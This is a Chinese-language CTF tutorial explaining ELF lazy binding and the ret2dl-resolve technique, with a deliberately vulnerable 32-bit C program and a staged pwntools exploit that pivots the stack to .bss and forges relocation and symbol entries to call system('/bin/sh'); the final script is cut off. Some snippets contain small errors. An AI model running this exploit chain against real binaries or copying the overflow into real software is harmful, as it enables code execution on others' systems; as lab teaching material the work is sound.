由于No RELRO涉及到动态链接的东西不多,所以原理没有细讲,这里补一下。以

原理

正常动态链接的流程如下:

*蓝线无特殊含义,仅作不同线的区分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
_dl_runtime_resolve(link_map, reloc_arg)

_dl_fixup(link_map, reloc_arg)

reloc = DT_JMPREL + reloc_offset(reloc_arg)
= .rel.plt + reloc_arg # i386

读取 Elf32_Rel:
r_offset = 解析结果写入哪里
r_info = 符号下标 + 重定位类型

检查:
ELF32_R_TYPE(r_info) == R_386_JMP_SLOT

sym_index = ELF32_R_SYM(r_info)
= r_info >> 8

sym = .dynsym + sym_index * sizeof(Elf32_Sym)
= .dynsym + sym_index * 0x10

读取 Elf32_Sym:
st_name = 函数名在 .dynstr 里的偏移
st_info = 符号属性,例如 GLOBAL + FUNC

name_addr = .dynstr + st_name

_dl_lookup_symbol_x(name_addr, ...)

找到 libc 里的真实函数地址

把结果写到:
l_addr + r_offset

以下摘自《CTF竞赛权威指南》:

每个符号都是一个 Elf_Sym 结构体的实例,这些符号又共同组成了 .dynsym 段。Elf_Sym 结构体如下所示。其中 st_name 域是相对于 .dynstr 段的偏移,保存符号名字字符串;st_value 域是当符号被导出时用于存放虚拟地址的,不导出时则为 NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Symbol table entry. */
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

/* How to extract and insert information held in the st_info field. */
#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
#define ELF32_ST_TYPE(val) ((val) & 0xf)
#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))

导入符号的解析需要进行重定位,每个重定位项都是一个 Elf_Rel 结构体的实例,这些项又共同组成了 .rel.plt 段(用于导入函数)和 .rel.dyn 段(用于导入全局变量)。Elf_Rel 结构体如下所示。其中 r_offset 域用于保存解析后的符号地址写入内存的位置(绝对地址),r_info 域的高位 3 个字节用于标识该符号在 .dynsym 段中的位置(无符号下标)。

1
2
3
4
5
6
7
8
9
10
11
/* Relocation table entry without addend (in section of type SHT_REL). */
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

/* How to extract and insert information held in the r_info field. */
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))

符号解析的核心关系可以写成:

1
2
3
reloc = JMPREL + reloc_arg
sym = SYMTAB + ELF32_R_SYM(reloc->r_info) * sizeof(Elf32_Sym)
name = STRTAB + sym->st_name

其中:

  • JMPREL 对应 .rel.plt
  • SYMTAB 对应 .dynsym
  • STRTAB 对应 .dynstr
  • r_offset 指向要回写函数真实地址的位置;
  • i386 下 PLT 解析常见类型为 R_386_JUMP_SLOT = 7

延迟绑定机制、PLT0 与 _dl_runtime_resolve

因此,当程序导入一个函数时,动态链接器会同时在 .dynstr 段中添加一个函数名字符串,在 .dynsym 段中添加一个指向函数名字符串的 Elf_Sym,在 .rel.plt 段中添加一个指向 Elf_SymElf_Rel。最后,这些 Elf_Relr_offset 域又构成了 GOT 表,保存在 .got.plt 段中。

由于引入了延迟绑定机制,符号的解析只有在第一次使用的时候才进行,该过程是通过 PLT 表进行的。每个导入函数都在 PLT 表中有一个条目,其第 1 条指令无条件跳转到对应 GOT 条目保存的地址处。而每个 GOT 条目在初始化时都默认指向对应 PLT 条目的第 2 条指令的位置,相当于又跳回来了。此时继续执行 PLT 后两条指令,先将导入函数的标识(Elf_Rel.rel.plt 段中的偏移)压栈,然后跳转到 PLT0 执行。PLT0 包含两条指令,先将 GOT[1] 的值(一个 link_map 对象地址)压栈,然后跳转到 GOT[2] 保存的地址处,也就是 _dl_runtime_resolve() 函数。函数参数 link_map_obj 用于获取解析导入函数所需的信息,参数 reloc_index 则标识了解析哪一个导入函数。解析完成后,相应的 GOT 条目会被修改为正确的函数地址,此后程序在调用该函数时就不需要再次进行解析了。

讲义中的调试输出如下:

1
2
3
4
5
6
7
0x8048597 <main+120>    push   eax
0x8048598 <main+121> push 0x1
0x804859a <main+123> call 0x80483d0 <write@plt>

0x80483d0 <write@plt+0> jmp DWORD PTR ds:0x804a01c
0x80483d6 <write@plt+6> push 0x20 //reloc_arg
0x80483db <write@plt+11> jmp 0x8048380

查看 GOT/PLT0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gef➤ x/wx 0x804a01c
0x804a01c: 0x080483d6

gef➤ x/4i 0x8048380
0x8048380: push DWORD PTR ds:0x804a004
0x8048386: jmp DWORD PTR ds:0x804a008
0x804838c: add BYTE PTR [eax], al
0x804838e: add BYTE PTR [eax], al

gef➤ x/2wx 0x804a004
0x804a004: 0xf7ffd918 0xf7fee000 # link_map, _dl_runtime_resolve

gef➤ p _dl_runtime_resolve
$1 = {<text variable, no debug info>} 0xf7fee000 <_dl_runtime_resolve>

_dl_runtime_resolve() 函数在 sysdeps/i386/dl-trampoline.S 中用汇编实现,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
gef➤ disassemble _dl_runtime_resolve
0xf7fee000 <+0>: push eax
0xf7fee001 <+1>: push ecx
0xf7fee002 <+2>: push edx
0xf7fee003 <+3>: mov edx,DWORD PTR [esp+0x10]
0xf7fee007 <+7>: mov eax,DWORD PTR [esp+0xc]
0xf7fee00b <+11>: call 0xf7fe77e0 <_dl_fixup>
0xf7fee010 <+16>: pop edx
0xf7fee011 <+17>: mov ecx,DWORD PTR [esp]
0xf7fee014 <+20>: mov DWORD PTR [esp],eax
0xf7fee017 <+23>: mov eax,DWORD PTR [esp+0x4]
0xf7fee01b <+27>: ret 0xc

其中,_dl_fixup() 函数在 elf/dl-runtime.c 中实现,用于解析导入函数的真实地址,并改写 GOT。

_dl_fixup() 关键源码

讲义中截取了 _dl_fixup 的关键代码。该函数从 link_map 中取出 .dynsym.dynstr.rel.plt 等信息,再根据 reloc_arg 定位重定位项,进而解析符号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]); // 取出 .dynsym

const char *strtab
= (const void *) D_PTR (l, l_info[DT_STRTAB]); // 取出 .dynstr

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 取出 Elf_Rel

const ElfW(Sym) *sym
= &symtab[ELFW(R_SYM) (reloc->r_info)]; // 取出 Elf_Sym

void *const rel_addr
= (void *)(l->l_addr + reloc->r_offset); // 对应 GOT 地址

lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查是否等于 7

......

result = _dl_lookup_symbol_x (
strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 找到包含对应符号的对象文件(libc),返回一个指向其基地址的指针

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol offset. */
value = DL_FIXUP_MAKE_VALUE (
result,
sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 获得函数的真实内存地址

......
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
// 写入 GOT
}
  1. 动态链接器用 DT_JMPREL 找到 .rel.plt
  2. 通过 reloc_arg 找到一个 Elf32_Rel
  3. 通过 ELF32_R_SYM(reloc->r_info) 找到 .dynsym 中的 Elf32_Sym
  4. 通过 sym->st_name 找到 .dynstr 中的函数名;
  5. 通过函数名在 libc 等共享库中查找目标地址;
  6. 最后调用 elf_machine_fixup_plt 把地址写回 GOT。

此外,由于 RELRO 保护机制会影响延迟绑定,因此也会影响 ret2dl-resolve:

  • Partial RELRO:包括 .dynamic 段在内的一些段会被标识为只读。
  • Full RELRO:在 Partial RELRO 的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt 段被完全初始化为目标函数的地址,并标记为只读。

开启 Partial RELRO,使 .dynamic 段不可写

.dynamic 段不可写时,已知 _dl_runtime_resolve() 的第二个参数 reloc_index 对应 Elf_Rel.rel.plt 段中的偏移,动态装载器将其加上 .rel.plt 的基地址来得到目标 Elf_Rel 的内存地址。然而,当这个内存地址超出了 .rel.plt 段,并最终落在 .bss 段中时,攻击者就可以在那里伪造一个 Elf_Rel,使 r_offset 的值是一个可写的内存地址,用来将解析后的函数地址写在那里。

同理,使 r_info 的值是一个能够将动态装载器导向攻击者控制内存的下标,指向一个位于它后面的 Elf_Sym,而 Elf_Sym 中的 st_name 指向它后面的函数名字符串。

其他更复杂的攻击场景,包括修改 GOT[1]link_map 对象,以及绕过 Full RELRO 的方法等,可以阅读论文进一步了解。

例题

手动解

参考:ret2dlresolve - CTF Wiki,《CTF竞赛权威指南》;最后附上了完整代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ./examp.c -o pwn
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/理论学习/高级ROP/Partial RELRO/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

在这种情况下,ELF 文件中的 .dynamic节将会变成只读的,这时我们可以通过伪造重定位表项的方式来调用目标函数。先手搓,再讲使用工具的办法。从以下6个步骤来讲手搓的办法:

Stage1

这一步是迁移到.bss段,写入/bin/sh\x00,并调用write函数输出。

.bss段可读可写的情况下,把栈迁移到这里,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ readelf -S pwn
There are 29 section headers, starting at offset 0x3610:

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[ 9] .rel.dyn REL 08048368 000368 000018 08 A 5 0 4
[10] .rel.plt REL 08048380 000380 000028 08 AI 5 22 4
[11] .init PROGBITS 08049000 001000 000024 00 AX 0 0 4
[12] .plt PROGBITS 08049030 001030 000060 04 AX 0 0 16
[13] .text PROGBITS 08049090 001090 000203 00 AX 0 0 16
...
[20] .dynamic DYNAMIC 0804bf0c 002f0c 0000e8 08 WA 6 0 4
[21] .got PROGBITS 0804bff4 002ff4 00000c 04 WA 0 0 4
[22] .got.plt PROGBITS 0804c000 003000 000020 04 WA 0 0 4
[23] .data PROGBITS 0804c020 003020 000008 00 WA 0 0 4
[24] .bss NOBITS 0804c028 003028 000004 00 WA 0 0 1
[25] .comment PROGBITS 00000000 003028 00002d 01 MS 0 0 1
[26] .symtab SYMTAB 00000000 003058 0002a0 10 27 18 4
[27] .strtab STRTAB 00000000 0032f8 000214 00 0 0 1
$ readelf -l pwn
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
...
LOAD 0x002f04 0x0804bf04 0x0804bf04 0x00124 0x00128 RW 0x1000

这个段从:0x0804bf04开始,它所在页的页起始地址是:0x0804b000;而它结束在:0x0804c02c,这个地址已经跨到了下一页:0x0804c000 ~ 0x0804d000,所以实际可写映射是:0x0804b000 ~ 0x0804d000。

.bss section 虽然只有 4 字节;但 base_stage = 0x0804c828(.bss+0x800) 所在的内存页是 RW,.bss+0x500亦可;因此 可以写进去payload。

1
2
3
4
5
6
$ ROPgadget --binary pwn --only 'leave|ret'
Gadgets information
============================================================
0x08049115 : leave ; ret
0x0804900e : ret
0x0804913b : ret 0xe8c1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
elf = ELF('./pwn')
p = process('./pwn')

offset = 112
bss_addr = elf.bss()
base_stage = bss_addr + 0x800
read_addr = elf.plt['read']
write_addr = elf.plt['write']
leave_ret = 0x8049115

p.recvuntil('Welcome to XDCTF2015~!\n')

payload1 = flat(
b'a'*(offset-4),
p32(base_stage),
p32(read_addr),
p32(leave_ret),
p32(0),
p32(base_stage), #往bss段上写
p32(100),
)
p.send(payload1)

这个时候已经栈迁移到.bss段,接下来创建栈空间:

1
2
3
4
5
6
7
8
9
10
11
payload2 = flat(
p32(base_stage+0x50),
p32(write_addr),
p32(0xdeadbeef), #fake ret addr
p32(1),
p32(base_stage+80), #/bin/sh
p32(8),
).ljust(80,b'b') + b'/bin/sh\x00'

p.send(payload2)
p.interactive()

Stage2

相较于上一步直接调用write@PLT,现在我们直接在.bss段上伪造plt表,强制使用一次延迟绑定

我们先来看一下write@plt

1
2
3
4
5
6
7
0x8048597 <main+120>    push   eax
0x8048598 <main+121> push 0x1
0x804859a <main+123> call 0x80483d0 <write@plt>

0x80483d0 <write@plt+0> jmp DWORD PTR ds:0x804a01c
0x80483d6 <write@plt+6> push 0x20 //reloc_arg
0x80483db <write@plt+11> jmp 0x8048380 //PLT[0]

把stage1中的write@plt替换成栈上伪造的 write@plt的

1
2
3
4
5
6
7
8
9
10
plt_0 = elf.get_section_by_name('.plt').header.sh_addr   #plt[0]
payload2 = flat(
p32(base_stage+0x50), #old_ebp 可以随意填
p32(plt_0), #返回地址
p32(0x20), #是 reloc_arg;写在这里等效于push 0x20
p32(0xdeadbeef), #返回地址
p32(1),
p32(base_stage+80),
p32(8),
).ljust(80,b'b') + b'/bin/sh\x00'

这里用到elf.get_section_by_name('.plt').header.sh_addr作用是取对应区域的起始地址

逐词拆解这行代码:把代码拆成 4 段,每段对应一个「查地图」的动作:

1
2
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
# [1] [2] [3] [4]

1. elf → 「拿地图」

就是你刚才加载好的那个「程序百科全书」对象,所有信息都从这里查。

2. .get_section_by_name('.plt') → 「在地图上找叫“.plt”的地标」

  • 这是 elf 对象的一个功能,意思是「按名字找节(Section)」
  • 这里找的是 .plt 节(过程链接表),也就是我们之前说的「专门存函数跳转指令的仓库」。
  • 执行完这步,会返回一个「节对象」,里面存了 .plt 节的所有详细信息。

3. .header → 「翻开这个地标的“详细信息牌”」

每个节(比如 .plt.text)都有一个「节头(Section Header)」,就像地标的详细信息牌,上面写着:

  • 这个地标(节)在内存里的起始门牌号(地址)
  • 这个地标(节)占多大地方
  • 这个地标(节)是什么类型的

这里的 .header,就是去访问 .plt 节的「节头信息牌」。

4. .sh_addr → 「在信息牌上找“起始门牌号”」

sh_addr 是节头里的一个固定字段,全称是 「Section Header Address」,意思就是「这个节在内存里的起始虚拟地址」

因为 plt0 就在 .plt 节的最开头,所以拿到 .plt 节的起始地址,就等于拿到了 plt0 的地址。

Stage3

在上面的基础上进一步伪造ELF_Rel(r_infor_offset

可以进一步解释一下这里0x20的作用:_dl_fixup()源码如下

1
2
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 取出 Elf_Rel

拿到这里的reloc_offset(也就是reloc_arg)之后,reloc计算公式如下:

对应的reloc的地址 = DT_JMPREL的起始地址(0x8048380) + reloc_offset(write就是刚才的0x20);

验证一下0x8048380 + 0x20 = 0x80483A0确实是write

1
2
3
4
5
6
7
8
$ readelf -r pwn
重定位节 '.rel.plt' at offset 0x380 contains 5 entries:
偏移量 信息 类型 符号值 符号名称
0804c00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804c010 00000207 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.34
0804c014 00000307 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804c018 00000507 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804c01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0

伪造的Elf_JmpRel格式需要和上面对应:r_info(0x607)r_offset(0x0804c01c);跳转到对应的r_offset就是write@got的地址(如下),所以这里的r_offset = elf.got['write']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#stage3
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

index_offset = base_stage + 28 - rel_plt #指向fake_reloc
fake_reloc = flat(
p32(elf.got['write']),
p32(0x607),
)

payload2 = flat(
p32(base_stage + 0x50),
p32(plt_0),
p32(index_offset),
p32(0xdeadbeef),
p32(1),
p32(base_stage + 80),
p32(8),
) #这里是28字节
payload2 += fake_reloc #在这里写入fake Elf_Rel
payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

p.send(payload2)
p.interactive()

Stage4

这里一步伪造Elf_Sym的.dynsym的部分

1
2
$ python3 exp.py
beginning addr of .dynsym = 0x804820c

Elf_Sym 地址 = .dynsym 起始地址 + sym_index * sizeof(Elf_Sym)

对于write来说Elf_Sym_addr of write = 0x804820c + 6*0x10 = 0x804826c

1
2
3
4
5
6
7
8
9
$ objdump -s -j .dynsym pwn
Contents of section .dynsym:
804820c 00000000 00000000 00000000 00000000 ................
804821c 24000000 00000000 00000000 12000000 $...............
804822c 2b000000 00000000 00000000 12000000 +...............
804823c 43000000 00000000 00000000 12000000 C...............
804824c 67000000 00000000 00000000 20000000 g........... ...
804825c 10000000 00000000 00000000 12000000 ................
804826c 17000000 00000000 00000000 12000000 ................
1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index 2字节*/
} Elf32_Sym;

1
2
3
4
5
6
st_name = 0x17000000
st_value = 0x00000000
st_size = 0x00000000
st_info = 0x12
st_other = 0x00
st_shndx = 0x0000

所以fake_sym = p32(17) + p32(0)*2 + p32(12)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#stage4
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
index_offset = base_stage + 28 - rel_plt
fake_reloc = flat(
p32(elf.got['write']),
p32(0x607),
)

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
fake_sym = p32(17) + p32(0)*2 + p32(12)
fake_sym_addr = base_stage + 36 #指向payload2中fake_sym的起始地址
align = (0x10-((fake_sym_addr - dynsym) & 0xf)) & 0xf #强制对齐,这里算出来是0
fake_sym_addr += align

payload2 = flat(
p32(base_stage + 0x50),
p32(plt_0),
p32(index_offset),
p32(0xdeadbeef),
p32(1),
p32(base_stage + 80),
p32(8),
) #这里结束是28字节
payload2 += fake_reloc #这里结束是36字节
payload2 += align * b'a' #其实本质这里是已经对齐了,保险点再强制对齐一下
payload2 += fake_sym
payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

p.send(payload2)
p.interactive()

正常sym = &symtab[ELFW(R_SYM)(reloc->r_info)]

= symtab + sym_index * sizeof(Elf_Sym)

= dynsym + sym_index * 0x10

所以伪造的fake_sym需要满足:

(fake_sym - dynsym) % 0x10 = 0

Stage5

这一步是把.dynstr的字符串写在栈上

_dl_fixup()源码

1
2
3
result = _dl_lookup_symbol_x (
strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

result = strtab + st_name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#stage5
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
index_offset = base_stage + 28 - rel_plt

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base_stage + 36 #指向fake_reloc填充结束
align = (0x10-((fake_sym_addr - dynsym) & 0xf)) & 0xf #对齐
print(type(align))
fake_sym_addr += align

st_name = fake_sym_addr + 0x10 - dynstr #指向payload2中的b'write\x00'
st_bind = 0x1 #STB_GLOBAL
st_type = 0x2 #STT_FUNC
st_info = st_bind<<4 + st_type
#上面这里算st的可以不要 也可以直接抄elf文件里的
fake_sym = p32(st_name) + p32(0)*2 + p32(st_info)

r_sym = (fake_sym_addr - dynsym) // 0x10
r_type = 0x7
r_info = (r_sym<<8) | r_type

fake_reloc = flat(
p32(elf.got['write']),
p32(r_info),)

payload2 = flat(
p32(base_stage + 0x50),
p32(plt_0),
p32(index_offset),
p32(0xdeadbeef),
p32(1),
p32(base_stage + 80),
p32(8),
) #这里结束是28字节
payload2 += fake_reloc #这里结束是36字节
payload2 += align * b'a' #其实本质这里是已经对齐了,保险点再强制对齐一下
payload2 += fake_sym
payload2 += b'write\x00'
payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

p.send(payload2)
p.interactive()

Stage6

这里只用把write的参数和b’write\x00’换成system的参数和b’system\x00’。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#stage6
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
index_offset = base_stage + 28 - rel_plt

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
print('beginning addr of .dynsym = '+hex(dynsym))

fake_sym_addr = base_stage + 36 #指向fake_reloc填充结束
align = (0x10-((fake_sym_addr - dynsym) & 0xf)) & 0xf #对齐
print(type(align))
fake_sym_addr += align

st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1 #STB_GLOBAL
st_type = 0x2 #STT_FUNC
st_info = (st_bind << 4) | st_type
fake_sym = p32(st_name) + p32(0)*2 + p32(st_info)

r_sym = (fake_sym_addr - dynsym) // 0x10
r_type = 0x7
r_info = (r_sym<<8) | r_type
print(p32(r_info))
fake_reloc = flat(
p32(elf.got['write']),
p32(r_info),)

payload2 = flat(
p32(base_stage + 0x50),
p32(plt_0),
p32(index_offset),
p32(0xdeadbeef),
p32(base_stage + 80)
).ljust(28, b'A') #这里结束是28字节
payload2 += fake_reloc #这里结束是36字节
payload2 += align * b'a' #其实本质这里是已经对齐了,保险点再强制对齐一下
payload2 += fake_sym
payload2 += b'system\x00'
payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

p.send(payload2)
p.interactive()

以下是完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
from pwn import *
elf = ELF('./pwn')
p = process('./pwn')


offset = 112
bss_addr = elf.bss()
base_stage = bss_addr + 0x800
read_addr = elf.plt['read']
write_addr = elf.plt['write']
leave_ret = 0x8049115

p.recvuntil('Welcome to XDCTF2015~!\n')

payload1 = flat(
b'a'*(offset-4),
p32(base_stage),
p32(read_addr),
p32(leave_ret),
p32(0),
p32(base_stage),
p32(100),
)

p.send(payload1)


# #stage2
# plt_0 = elf.get_section_by_name('.plt').header.sh_addr #plt[0]
# payload2 = flat(
# p32(base_stage+0x50), #old_ebp
# p32(0x20),
# p32(plt_0), # <- 不是地址的offset,是 reloc_arg
# p32(0xdeadbeef),
# p32(1),
# p32(base_stage+80),
# p32(8),
# ).ljust(80,b'b') + b'/bin/sh\x00'
# p.send(payload2)
# p.interactive()


# #stage3
# plt_0 = elf.get_section_by_name('.plt').header.sh_addr
# rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

# index_offset = base_stage + 28 - rel_plt
# fake_reloc = flat(
# p32(elf.got['write']),
# p32(0x607),
# )

# payload2 = flat(
# p32(base_stage + 0x50),
# p32(plt_0),
# p32(index_offset),
# p32(0xdeadbeef),
# p32(1),
# p32(base_stage + 80),
# p32(8),
# ) #这里是28字节
# payload2 += fake_reloc
# payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

# p.send(payload2)
# p.interactive()


# #stage4
# plt_0 = elf.get_section_by_name('.plt').header.sh_addr
# rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
# index_offset = base_stage + 28 - rel_plt
# fake_reloc = flat(
# p32(elf.got['write']),
# p32(0x607),
# )

# dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
# print('beginning addr of .dynsym = '+hex(dynsym))
# fake_sym = p32(17) + p32(0)*2 + p32(12)
# fake_sym_addr = base_stage + 36 #指向fake_reloc填充结束
# align = (0x10-((fake_sym_addr - dynsym) & 0xf)) & 0xf #对齐
# print(type(align))
# fake_sym_addr += align

# payload2 = flat(
# p32(base_stage + 0x50),
# p32(plt_0),
# p32(index_offset),
# p32(0xdeadbeef),
# p32(1),
# p32(base_stage + 80),
# p32(8),
# ) #这里结束是28字节
# payload2 += fake_reloc #这里结束是36字节
# payload2 += align * b'a' #其实本质这里是已经对齐了,保险点再强制对齐一下
# payload2 += fake_sym
# payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

# p.send(payload2)
# p.interactive()


# #stage5
# plt_0 = elf.get_section_by_name('.plt').header.sh_addr
# rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
# index_offset = base_stage + 28 - rel_plt

# dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
# dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# print('beginning addr of .dynsym = '+hex(dynsym))

# fake_sym_addr = base_stage + 36 #指向fake_reloc填充结束
# align = (0x10-((fake_sym_addr - dynsym) & 0xf)) & 0xf #对齐
# print(type(align))
# fake_sym_addr += align

# st_name = fake_sym_addr + 0x10 - dynstr
# st_bind = 0x1 #STB_GLOBAL
# st_type = 0x2 #STT_FUNC
# st_info = st_bind<<4 + st_type
# fake_sym = p32(st_name) + p32(0)*2 + p32(st_info)

# r_sym = (fake_sym_addr - dynsym) // 0x10
# r_type = 0x7
# r_info = (r_sym<<8) | r_type
# print(p32(r_info))
# fake_reloc = flat(
# p32(elf.got['write']),
# p32(r_info),)

# payload2 = flat(
# p32(base_stage + 0x50),
# p32(plt_0),
# p32(index_offset),
# p32(0xdeadbeef),
# p32(1),
# p32(base_stage + 80),
# p32(8),
# ) #这里结束是28字节
# payload2 += fake_reloc #这里结束是36字节
# payload2 += align * b'a' #其实本质这里是已经对齐了,保险点再强制对齐一下
# payload2 += fake_sym
# payload2 += b'write\x00'
# payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

# p.send(payload2)
# p.interactive()

#stage6
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
index_offset = base_stage + 28 - rel_plt

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
print('beginning addr of .dynsym = '+hex(dynsym))

fake_sym_addr = base_stage + 36 #指向fake_reloc填充结束
align = (0x10-((fake_sym_addr - dynsym) & 0xf)) & 0xf #对齐
print(type(align))
fake_sym_addr += align

st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1 #STB_GLOBAL
st_type = 0x2 #STT_FUNC
st_info = (st_bind << 4) | st_type
fake_sym = p32(st_name) + p32(0)*2 + p32(st_info)

r_sym = (fake_sym_addr - dynsym) // 0x10
r_type = 0x7
r_info = (r_sym<<8) | r_type
print(p32(r_info))
fake_reloc = flat(
p32(elf.got['write']),
p32(r_info),)

payload2 = flat(
p32(base_stage + 10),
p32(plt_0),
p32(index_offset),
p32(0xdeadbeef),
p32(base_stage + 80)
).ljust(28, b'A') #这里结束是28字节
payload2 += fake_reloc #这里结束是36字节
payload2 += align * b'a' #其实本质这里是已经对齐了,保险点再强制对齐一下
payload2 += fake_sym
